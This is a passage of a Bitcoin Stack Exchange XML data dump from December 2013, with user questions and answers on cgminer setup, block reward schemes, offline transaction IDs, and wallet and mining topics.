href=&quot;http://inputs.io/&quot;&gt;http://inputs.io/&lt;/a&gt; who lost an entire 4000 BTC hot wallet due to negligence. You can never be too paranoid in situations like this. Your maximum loss in this case would be the 50BTC hot wallet, which is better than losing everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play safe.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-10T05:45:37.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18427" PostTypeId="2" ParentId="18423" CreationDate="2013-12-10T06:19:10.620" Score="-1" Body="&lt;p&gt;Now that I think about it, it wouldn't be possible for all the ISP's to shut down a common port at the same time unless the timing was synchronized perfectly. Now that doesn't mean they couldn't do it, just it would be nearly impossible for them to sync all at the same time. Consider an honest party whom is nanoseconds away from completing a block the very moment that every single ISP decides to block the port. Say there exists a party that has a really high latency and they get the very last bitcoin 100ms after the shutdown. Now they are only 10ms away from another party whom was mining with a 50ms latency. Could a bad transaction occur within those remaining milliseconds if one party decided to buy / sell? If the entire world stopped mining bitcoins at once and you had an extra 100ms of mining would those 150ms directly scale and create a drastic increase in the price while still leaving you time to sell? What if you decided to buy all the bitcoins from people who had higher latencies at a discounted price because they didn't receive the market data fast enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all honesty, there are so many different things that could happen economically wise as well. Under those given scenarios, I believe it would be possible for one party to benefit greatly due to the lapse in the latency. Each party would stop mining at different intervals, it would be impossible for the ISP's to attempt to stop every party at the same time due to them not being able to stop a packet once it's sent. It's a very interesting scenario to think about though as to how one might exploit the latency differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as a solution to the problem one might consider an alternative port. Consider&#xA;a different method of linking the transactions (0, 1,... to n) to use two autossh tunnels: one through port 22 and the other through port 2222. If the ISP's block these ports, well... then it wouldn't exactly be possible for them to ssh into the server in the first place. In regards to the potential leakage of the clients public key by switching to the ssh ports, one might suggest a fully homomorphic Encryption scheme such as the one used with popular secure email client Lavabit. (recently shut down by the NSA for being too secure) Thats just my two cents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless Homomorphic encryption would secure a users public key as required by the bitcoin protocol if we switched to ports 22 and 222:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Homomorphic_encryption#Fully_homomorphic_encryption&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Homomorphic_encryption#Fully_homomorphic_encryption&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10541" LastEditorUserId="10541" LastEditDate="2013-12-12T23:41:59.540" LastActivityDate="2013-12-12T23:41:59.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18428" PostTypeId="2" ParentId="17568" CreationDate="2013-12-10T08:00:54.027" Score="3" Body="&lt;p&gt;I am using a slightly overclocked AMD 6850 and get around 270kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running cgminer you need to set two environment variables. In windows I use a batch file with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TIMEOUT 10&#xA;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;cgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Timeout is just there so it waits 10 seconds to make sure MSI Afterburner has overclocked the cards before starting cgminer. It is available on Windows Vista and above and can be skipped by pressing a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create the batch file by entering this into notepad, click File &gt; Save As and on the Save as type dropdown select All files. Choose a name for the file and make sure it ends with &lt;code&gt;.bat&lt;/code&gt; then save it in your cgminer directory. You can run cgminer by opening this batch file or create a shortcut to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a cgminer.conf file instead of command line arguments. If you are currently using command line arguments you can start cgminer, press S for settings then press W to write a config file. Press enter when it asks for the name and a cgminer.conf will be created. By default cgminer will use cgminer.conf if it is found in the same directory. You can have several configuration files and use them by supplying the &lt;code&gt;--config&lt;/code&gt; or &lt;code&gt;-c&lt;/code&gt; flag in the batch file e.g. &lt;code&gt;cgminer -config dogecoin.conf&lt;/code&gt; or &lt;code&gt;cgminer -c &quot;C:\test.conf&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using two different cards you will need to adjust the settings for each one by separating the values with commas. In the config below the 6850 settings are on the left, and the settings for my 7950 are on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These settings work well for me but may need to be customised for your own use. In particular the high intensity in my config means the computer is unsuitable to work on while mining but will give slightly higher hashing rates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;pools&quot; : [&#xA;    {&#xA;        &quot;url&quot; : &quot;http://pool-url:3333&quot;,&#xA;        &quot;user&quot; : &quot;username&quot;,&#xA;        &quot;pass&quot; : &quot;password&quot;&#xA;    },&#xA;    {&#xA;        &quot;url&quot; : &quot;http://pool-url:3333&quot;,&#xA;        &quot;user&quot; : &quot;username&quot;,&#xA;        &quot;pass&quot; : &quot;password&quot;&#xA;    }&#xA;]&#xA;,&#xA;&quot;intensity&quot; : &quot;18,20&quot;,&#xA;&quot;vectors&quot; : &quot;1,1&quot;,&#xA;&quot;worksize&quot; : &quot;256,256&quot;,&#xA;&quot;kernel&quot; : &quot;scrypt,scrypt&quot;,&#xA;&quot;lookup-gap&quot; : &quot;0,0&quot;,&#xA;&quot;thread-concurrency&quot; : &quot;4800,21712&quot;,&#xA;&quot;shaders&quot; : &quot;960,1792&quot;,&#xA;&#xA;&quot;gpu-engine&quot; : &quot;0-0,0-0&quot;,&#xA;&quot;gpu-fan&quot; : &quot;100-100,100-100&quot;,&#xA;&quot;gpu-memclock&quot; : &quot;0,0&quot;,&#xA;&quot;gpu-memdiff&quot; : &quot;0,0&quot;,&#xA;&quot;gpu-powertune&quot; : &quot;0,0&quot;,&#xA;&quot;gpu-vddc&quot; : &quot;0.000,0.000&quot;,&#xA;&quot;temp-cutoff&quot; : &quot;95,95&quot;,&#xA;&quot;temp-overheat&quot; : &quot;90,90&quot;,&#xA;&quot;temp-target&quot; : &quot;80,80&quot;,&#xA;&#xA;&quot;api-mcast-port&quot; : &quot;4028&quot;,&#xA;&quot;api-port&quot; : &quot;4028&quot;,&#xA;&quot;expiry&quot; : &quot;120&quot;,&#xA;&quot;failover-only&quot; : true,&#xA;&quot;gpu-dyninterval&quot; : &quot;7&quot;,&#xA;&quot;gpu-platform&quot; : &quot;0&quot;,&#xA;&quot;gpu-threads&quot; : &quot;1&quot;,&#xA;&quot;hotplug&quot; : &quot;5&quot;,&#xA;&quot;log&quot; : &quot;5&quot;,&#xA;&quot;no-pool-disable&quot; : true,&#xA;&quot;queue&quot; : &quot;1&quot;,&#xA;&quot;scan-time&quot; : &quot;30&quot;,&#xA;&quot;scrypt&quot; : true,&#xA;&quot;temp-hysteresis&quot; : &quot;3&quot;,&#xA;&quot;shares&quot; : &quot;0&quot;,&#xA;&quot;kernel-path&quot; : &quot;/usr/local/bin&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using cgminer 3.7.2 as that is the latest version with scrypt support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These links might be helpful for configuring cgminer:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=117221.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=117221.0&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.brandonorndorff.com/bitcoin/mining/how-to-setup-and-optimize-your-cgminer-config-file/&quot; rel=&quot;nofollow&quot;&gt;http://www.brandonorndorff.com/bitcoin/mining/how-to-setup-and-optimize-your-cgminer-config-file/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10548" LastEditorUserId="10548" LastEditDate="2013-12-11T00:36:11.177" LastActivityDate="2013-12-11T00:36:11.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18429" PostTypeId="2" ParentId="18418" CreationDate="2013-12-10T08:29:47.107" Score="1" Body="&lt;p&gt;It seems to me that quarkcoin is an experimental protocol. Then again, bitcoin is often looked at as an experimental protocol, and despite its performance, is still considered beta (if you are reading this and questioning that statement, go look at bitcoin-0.8.3, for example, on sourceforge, and look at bitcoin-0.8.6 (same place, most current version), as you can see bitcoin itself is plainly characterized as &quot;beta.&quot;&#xA;Even if nobody was mining it, a decentralized protocol that is utilized for transactions would still be interesting (if for no other reason than that it would be an example of how anyone can take part in the decentralization process).  It's my sense that part of the incentive to mine quarkcoin is the anticipation that it may gain in value and thus be able to be both used more widely for purchasing, as well as its current presence on certain exchanges.  Another part of the incentive could be the feeling or sense that comes from having accomplished mining something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a recommendation of any particular cryptocurrency / protocol, just an observation - Suggest looking at main.cpp Quark for observations of difficulty settings.  Also, the, SQL for the blockchain up until Dec. 3, 2013 is here (not my site, but contains useful information): entropyextropy.com -- at entropyextropy.com/abe.sql.zip&#xA;(Information in above paragraph taken from twitter and the forum at quark.freeforums.net)&#xA;On github, see code associated with MaxGuevara titled quark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Touching on the question of how is the security of quarkcoin increased by adding hashing functions, I'm not certain that this is how security actually works. I'm of the mind that the higher the adoption rate of any particular currency / protocol type, the more it will be able to weather attacks of many varieties. &#xA;[Note: See topic=260031.1840 at bitcointalk.org]&lt;/p&gt;&#xA;" OwnerUserId="10063" LastActivityDate="2013-12-10T08:29:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18431" PostTypeId="1" CreationDate="2013-12-10T08:39:48.830" Score="1" ViewCount="305" Body="&lt;p&gt;I am thinking of an alternative mining scheme where block reward would grow (or decrease) with popularity of the coin. The rationale behind this idea is to make an exchange rate more stable since greater interest will not result in higher coin price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest question is probably how to technically solve such variable block reward because there seems to be no easy way of how to collectively decide on reward height.&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2016-04-25T21:22:16.867" LastActivityDate="2020-05-19T15:01:15.223" Title="Popularity based mining (variable block reward)" Tags="|exchange-rate|mining-reward|alternatives|altcoin-development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18432" PostTypeId="1" AcceptedAnswerId="18455" CreationDate="2013-12-10T08:41:24.773" Score="0" ViewCount="224" Body="&lt;p&gt;If I look at the chart below:&#xA;&lt;a href=&quot;https://blockchain.info/charts/total-bitcoins?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/total-bitcoins?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I check the trend for 'All Time', it looks like the rate of growth in the number of bitcoins INCREASED around January 2010.&#xA;I thought that the rate of growth (enforced by a computer algorithm) would halve every 4 years and that it would never increase...&#xA;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="10490" LastEditorUserId="5406" LastEditDate="2016-04-24T09:12:21.627" LastActivityDate="2016-04-24T09:12:21.627" Title="why is the growth in the number of bitcoins not convex?" Tags="|mining-reward|hashpower|reward-schedule|macroeconomics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18434" PostTypeId="2" ParentId="18431" CreationDate="2013-12-10T09:22:37.083" Score="1" Body="&lt;p&gt;How would you define popularity? Any measure you make must be decentralised, and whatever you decide on can be arbitrarily faked. It's completely impossible in the terms of a trustless currency like Bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-10T09:22:37.083" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18435" PostTypeId="2" ParentId="18432" CreationDate="2013-12-10T09:57:34.350" Score="1" Body="&lt;p&gt;It is decreasing by half every 4 years, just that graph is just not showing it well for this short timeframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dip up until 2010 was due to there only being one or two miners in the entire network, so the maximum number of Bitcoin wasn't produced in that period. The speed of the entire network couldn't keep up with the minimum of 6 blocks an hour which has lowered the total available Bitcoin in that period, though the number overall is just fine.  You can see the sharp decrease in late 2012 when the block reward halving first occurred, which is the start of the downward trend in block reward production.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the network hashrate is increasing so quickly that it's producing more Bitcoin than expected, we'll probably reach the next halving in a little less than the intended 4 year cycle. That's not a negative effect in itself though, it just means the network is increasingly secure month on month. There's a similar hump between June and July of 2011, when GPU mining was publicly introduced.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-10T11:41:37.353" LastActivityDate="2013-12-10T11:41:37.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18436" PostTypeId="2" ParentId="18198" CreationDate="2013-12-10T10:05:49.950" Score="1" Body="&lt;p&gt;To answer my own question, I had to add &lt;code&gt;-a sha256d&lt;/code&gt; to the end of my command because cpuminer was defaulting to &lt;code&gt;scrypt&lt;/code&gt; as the algorithm. Thus my command became:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./minerd -a sha256d --url=stratum+tcp://mint.bitminter.com:3333 --userpass=user:pass&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But @mosca1337 is right, it was silly of me to assume that I can actually make any profit at this point from mining BTC with cpuminer. So I heeded his advice and looked at other currencies which can be mined with the CPU more efficiently.&lt;/p&gt;&#xA;" OwnerUserId="10340" LastActivityDate="2013-12-10T10:05:49.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18437" PostTypeId="2" ParentId="18431" CreationDate="2013-12-10T10:07:28.010" Score="0" Body="&lt;p&gt;I've recently thought of pretty much the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Anonymous: Popularity is not difficult to define. Call the new currency bitcoin'. A good measure is the price of a bitcoin' in terms of some broad index of consumer goods (like the CPI basket), commodities, or whatever else you want. Perhaps the best available measure of popularity is MtGox's current price in USD, or EUR, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the bitcoin' price is high, the mining reward rises, essentially quickly generating new bitcoin', thereby lowering their price. A falling bitcoin' price would trigger higher mining rewards to slow the supply expansion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practically, at present, I think the extra stabilization provided by such a system would be minimal. But my opinions on the matter are currently not too strong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the current mining system already works to stabilize the price of a bitcoin to some extent: as the price of a bitcoin rises, more miners enter, increasing the supply and helping to drive down prices. But how's that system working out? So far, not so great as far as stability goes.&#xA;And of course, when the ~21M bitcoin cap is hit, there will no longer be any stabilization mechanism available that links bitcoin supply with bitcoin price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1&lt;/strong&gt; I forgot to mention the important question of how &quot;popularity&quot; is announced/communicated into the bitcoin' system. Very good question.  One could imagine a trusted entity with a well-known public key signing such announcements and system nodes verifying that particular entity's signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One nice aspect: the &quot;popularity&quot; measure could be relatively objective, e.g., latest publicly available quoted price from a popular exchange. This would at least allow anyone in the world to determine whether this trusted entity is really trustworthy (are they lying about publicly available quoted prices???). But admittedly, this is a real sticking point in the design, e.g., what if this trusted entity is hacked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt; Another related idea: if one could reliably enforce bitcoin contracts that involve trades of other real-world commodities/assets, then it'd be easy to construct a decentralized system in which many anonymous entities publicly announce bitcoin's &quot;popularity&quot; (again, use bitcoin's current market price as a proxy) and these announcements would be very reliable. (To be clear: the entire point of these announcements is to tweak the block mining reward to stabilize the bitcoin' price. The basic idea: reliable announcements of current BTC' prices are announced into the BTC' network. The mining block reward is constantly fluctuating depending on the current BTC' price. If BTC' is relatively high, the block reward increases, attracting miners. If low, the reward is lowered.) Just make these announcements into the form of offers to buy and sell bitcoin' for the commodity/basket/asset against which it's stabilized. For example, if the current market price of a bitcoin' is 1 USD, then an announcer might announce &quot;I'll sell 1000 bitcoin' for 1.1 USD each and buy 1000 for 0.9 USD each&quot;. If the announcement is &lt;em&gt;binding&lt;/em&gt;, then you can bet that announcement is not going to be disadvantageous to the announcer! One can reliably deduce a current price bracket for bitcoin'. Again, though, one needs a reliable way to enforce bitcoin contracts exchanging real-world commodities like USD.&lt;/p&gt;&#xA;" OwnerUserId="9987" LastEditorUserId="9987" LastEditDate="2013-12-10T14:11:50.167" LastActivityDate="2013-12-10T14:11:50.167" CommentCount="29" ContentLicense="CC BY-SA 3.0" />
  <row Id="18439" PostTypeId="1" CreationDate="2013-12-10T11:18:07.317" Score="3" ViewCount="4843" Body="&lt;p&gt;Is there a software for 32-bit Windows to mine Quarkcoins as part of a pool?&lt;/p&gt;&#xA;" OwnerUserId="9904" LastEditorUserId="5406" LastEditDate="2016-04-17T20:22:57.273" LastActivityDate="2016-04-25T10:37:01.863" Title="Software for mining Quarkcoin on 32-bit Windows" Tags="|mining-software|quarkcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18440" PostTypeId="2" ParentId="18373" CreationDate="2013-12-10T11:25:46.477" Score="1" Body="&lt;p&gt;169.69 days you will get solo reward (keep in mind that it is not guranted, so it could take more days), I`m not sure how much it is now, e.g. in bitcoins now you get 25BTC for success solo mining. Earning table, that you see, definitly talking about mining pool.&lt;/p&gt;&#xA;" OwnerUserId="9632" LastActivityDate="2013-12-10T11:25:46.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18441" PostTypeId="1" AcceptedAnswerId="18442" CreationDate="2013-12-10T11:28:18.377" Score="2" ViewCount="221" Body="&lt;p&gt;let's say i create a valid transaction (offline without sending it, such as like this: &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;. let's call this &quot;A&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a)before having sent A, can i get the transaction ID of A?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b)I wish to create a new offline Transaction (called B), using the outputs from A as inputs for B.Still, A has not been sent to the bitcoin network. Is this possible?  For example, A sends money from account x to account y.  B sends the same bitcoins sent from x to y, from y to z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) if part b) is possible, and I send A, then immediately send B to the bitcoin network. what would happen?&lt;/p&gt;&#xA;" OwnerUserId="10557" LastEditorUserId="10557" LastEditDate="2013-12-10T13:42:31.287" LastActivityDate="2013-12-10T13:51:28.500" Title="get offline Bitcoin transaction id, chain multiple offline transactions" Tags="|transactions|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18442" PostTypeId="2" ParentId="18441" CreationDate="2013-12-10T11:39:32.843" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;before having sent A, can i get the transaction ID of A?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can calculate the TXID without any connection to the network. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I wish to create a new offline Transaction (called B), using the outputs from A as inputs for B.Still, A has not been sent to the bitcoin network. Is this possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but there's a small technicality when working with nested unconfirmed transactions. If you build a large number of them on top of each other, and one of them is never confirmed, then the entire chain of transactions will disappear. That is to say, if you build A, B, and C, and A had an incorrect fee, none of the subsequent transactions will ever confirm and will eventually drop from the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said there's nothing stopping you from making chains of infinite lengths, they just have to be broadcast in order for the nodes to be able to see the previous inputs. If you make them out of order (C, A, B) they will likely be rejected. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is possible, and I send A, then immediately send B to the bitcoin network. what would happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is completely valid and a reasonably normal flow for some applications, it's not invalid or unrecommended if the fees for each input are properly paid.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-10T13:51:28.500" LastActivityDate="2013-12-10T13:51:28.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18443" PostTypeId="1" CreationDate="2013-12-10T11:50:09.740" Score="0" ViewCount="275" Body="&lt;p&gt;My question concerns Litecoin, but could apply to any other cryptocurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was inspecting the &lt;a href=&quot;https://www.litecoinpool.org/charts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Litecoin difficulty chart&lt;/a&gt; and saw a pattern that seems to occur regularly: a dip in the hash rate just before a retarget, then a large, artifical pump to set the difficulty higher than it &quot;should be&quot;. An example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dp5Wc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would miners do this? For maximum profitability, shouldn't miners attempt to keep the difficulty as &lt;em&gt;low&lt;/em&gt; as possible? Additionally, why the regular dip just before a retarget?&lt;/p&gt;&#xA;" OwnerUserId="3787" LastActivityDate="2013-12-10T17:12:28.030" Title="Why is the hash rate pumped near difficulty calculations?" Tags="|litecoin|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18444" PostTypeId="1" AcceptedAnswerId="18597" CreationDate="2013-12-10T13:07:40.327" Score="0" ViewCount="425" Body="&lt;p&gt;Let's say we are 4 people and we want to purchase something that is currently worth 10 coins. When we click the purchase button, we are presented with an address to transfer the coins within 15 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: Should we send the necessary coins in a single transaction? Or is it possible to make (for example) 4 different transactions of (for example) 2.5 btc each, summing in 10 btc? If so, what if one of us cannot make the transfer on time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information/experience is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="10468" LastActivityDate="2013-12-12T12:13:26.040" Title="Multiple transactions for a single payment in bitpay" Tags="|transactions|payment|bitpay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18445" PostTypeId="1" CreationDate="2013-12-10T13:49:17.927" Score="0" ViewCount="2139" Body="&lt;p&gt;consider an offline transaction that has not been posted yet, created through a method such as here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) how could I calculate the transaction ID from the raw transaction?&#xA;b) how could I calculate the transaction ID from the JSON transaction?&lt;/p&gt;&#xA;" OwnerUserId="10557" LastActivityDate="2015-11-11T10:36:33.097" Title="calculate transaction ID TXID from JSON or raw transaction" Tags="|transactions|raw|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18446" PostTypeId="2" ParentId="18445" CreationDate="2013-12-10T13:56:32.980" Score="2" Body="&lt;p&gt;Both the reference client (Bitcoin-QT) and a service like &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/&lt;/a&gt; show the transaction ID after signing but before the transaction is broadcast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example, this valid binary transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000017a06ea98cd40ba2e3288262b28638cec5337c1456aaf5eedc8e9e5a20f062bdf000000008b48304502200addea57dd4c2871357165ed6d2bc94b117e322918073ac4c66d535637e74600022100dfaa0dce9e2e61aa2867c87fadca4e0fa3c70e9852a4689b3ef24b3f94809b4a014104e0ba531dc5d2ad13e2178196ade1a23989088cfbeddc7886528412087f4bff2ebc19ce739f25a63056b6026a269987fcf5383131440501b583bab70a7254b09effffffff01b02e052a010000001976a9142dbde30815faee5bf221d6688ebad7e12f7b2b1a88ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In JSON it decodes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;46b690f548f6eb70dca7fb2020ff4be369c42f3ea2375fd3f6b34890b640f8e9&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        { [... snipped ...]}&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the transaction ID in the first key. If you were doing the signing yoruself, the TXID is literally a double SHA256 hash of the raw transaction. There's some more information about raw transactions &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;on the wiki&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="18196" LastEditDate="2014-11-07T22:01:38.717" LastActivityDate="2014-11-07T22:01:38.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18448" PostTypeId="1" AcceptedAnswerId="18479" CreationDate="2013-12-10T14:08:20.997" Score="0" ViewCount="8681" Body="&lt;p&gt;I am seriously considering making an investment and buying a 3TH miner. The problem is whether they will still be profitable by the time they arrive...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At today's has rate calculation of 707,408,283 it is expected to return 2.1328 BTC in a 24hr period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how realistic is this and does anyone own a miner that can confirm whether this profit forcast is achievable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10216" LastEditorUserId="5406" LastEditDate="2016-03-17T16:00:02.053" LastActivityDate="2016-03-17T16:00:02.053" Title="Will the 3TH KNC Neptune Miner still be profitable in 2014?" Tags="|asic|mining-profitability|" AnswerCount="2" CommentCount="12" ClosedDate="2016-03-17T16:00:17.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="18449" PostTypeId="2" ParentId="18414" CreationDate="2013-12-10T14:10:56.323" Score="1" Body="&lt;p&gt;Exporting the private key, then importing it into a new wallet (still in MultiBit) recovered the missing bitcoins for me.&lt;/p&gt;&#xA;" OwnerDisplayName="user10569" LastEditorDisplayName="user10569" LastEditDate="2013-12-10T23:28:22.517" LastActivityDate="2013-12-10T23:28:22.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18450" PostTypeId="2" ParentId="18444" CreationDate="2013-12-10T14:18:46.610" Score="0" Body="&lt;p&gt;Have one person collect the coins before hand and send in one go. The blockchain will serve as proof.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-10T14:18:46.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18451" PostTypeId="1" AcceptedAnswerId="18473" CreationDate="2013-12-10T14:24:28.860" Score="2" ViewCount="1232" Body="&lt;p&gt;I've used &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;Vanitygen&lt;/a&gt; to generate a vanity Bitcoin address. I used the &quot;-e&quot; option to encrypt the private key. What I can't figure out is how to &lt;strong&gt;decrypt&lt;/strong&gt; the protected key that was provided after generating the vanity address, nor can I find the encryption method used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a utility, library or program that I can use to decrypt the protected key in order to access the private key?&lt;/p&gt;&#xA;" OwnerUserId="10571" LastActivityDate="2018-01-26T16:20:51.323" Title="Decrypting Vanitygen Protected Key" Tags="|vanitygen|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18452" PostTypeId="2" ParentId="5703" CreationDate="2013-12-10T14:31:53.113" Score="0" Body="&lt;p&gt;They do if you reuse the address multiple times. When you spend coins sent to an address your public key is exposed to the network. This reduces security slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address reuse also leads to a loss of privacy. Remember all transactions are public information. By reusing the same address over and over again you are letting the world know how many coins you are receiving and sending!&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-10T14:31:53.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
